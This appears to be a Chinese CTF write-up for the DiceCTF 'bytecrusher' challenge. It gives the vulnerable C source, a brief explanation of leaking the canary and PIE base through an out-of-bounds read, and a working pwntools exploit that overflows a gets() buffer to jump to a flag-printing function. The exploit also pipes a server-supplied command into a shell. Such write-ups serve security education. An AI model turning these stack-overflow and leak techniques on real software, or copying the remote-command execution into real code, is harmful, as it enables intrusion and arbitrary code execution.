bytecrusher

checksec

这是什么鸭

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void admin_portal() {
puts("Welcome dicegang admin!");
FILE *f = fopen("flag.txt", "r");
if (f) {
char read;
while ((read = fgetc(f)) != EOF) {
putchar(read);
}
fclose(f);
} else {
puts("flag file not found");
}
}

void crush_string(char *input, char *output, int rate, int output_max_len) {
if (rate < 1) rate = 1;
int out_idx = 0;
for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
output[out_idx++] = input[i];
}
output[out_idx] = '\0';
}

void free_trial() {
char input_buf[32];
char crushed[32];

for (int i=0; i<16; i++) {
printf("Enter a string to crush:\n");
fgets(input_buf, sizeof(input_buf), stdin);


printf("Enter crush rate:\n");
int rate;
scanf("%d", &rate);

if (rate < 1) {
printf("Invalid crush rate, using default of 1.\n");
rate = 1;
}

printf("Enter output length:\n");
int output_len;
scanf("%d", &output_len);

if (output_len > sizeof(crushed)) {
printf("Output length too large, using max size.\n");
output_len = sizeof(crushed);
}

crush_string(input_buf, crushed, rate, output_len);


printf("Crushed string:\n");
puts(crushed);
}
}

void get_feedback() {
char buf[16];
printf("Enter some text:\n");
gets(buf);
printf("Your feedback has been recorded and totally not thrown away.\n");
}


#define COMPILE_ADMIN_MODE 0

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("Welcome to ByteCrusher, dicegang's new proprietary text crusher!\n");
printf("We are happy to offer sixteen free trials of our premium service.\n");

free_trial();
get_feedback();

printf("\nThank you for trying ByteCrusher! We hope you enjoyed it.\n");

if (COMPILE_ADMIN_MODE) {
admin_portal();
}

return 0;
}

有越界写,通过选择合适的 rates 可以逐字节泄露 canary 和 pie ,毕竟至少有 16 字节的泄露机会

然后在栈溢出上 ret2text 即可

比较棘手的是本地打需要 Piggyback 技巧,但打远端不用

这比赛还有个神秘的 PoW ,爆破什么的不大现实

IDA

free_trial

这是什么鸭

get_feedback

这是什么鸭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
io = process('./bytecrusher_patched')
else:
io = remote('bytecrusher.chals.dicec.tf', 1337)

canary_rates = [0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f]
pie_rates = [0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d]

libc = ELF('./libc.so.6')

def crush(rate, output_len):
io.sendlineafter(b'crush:\n', b'A')
io.sendlineafter(b'rate:\n', str(rate).encode())
io.sendlineafter(b'length:\n', str(output_len).encode())

def attack():
canary = b'\x00'
for i in canary_rates:
crush(i, 3)
io.recvuntil(b"string:\nA")
canary += io.recv(1)
canary = u64(canary)
log.info(f'canary = {hex(canary)}')

pie = b''
for i in pie_rates:
crush(i, 3)
io.recvuntil(b"string:\nA")
pie += io.recv(1)
pie = u64(pie.ljust(8, b'\x00')) - 0x15EC
log.info(f'pie = {hex(pie)}')

for _ in range(3):
crush(1, 3)
payload = b'A' * 0x18 + p64(canary) + p64(0) + p64(pie + 0x12AD)
io.sendlineafter(b'text:\n', payload)

io.interactive()

io.recvuntil(b"proof of work:\n")
pow_cmd = io.recvline().decode('utf-8').strip()
io.recvuntil(b"solution: ")
result = subprocess.check_output(pow_cmd, shell=True).decode('utf-8').strip()
io.sendline(result.encode())
attack()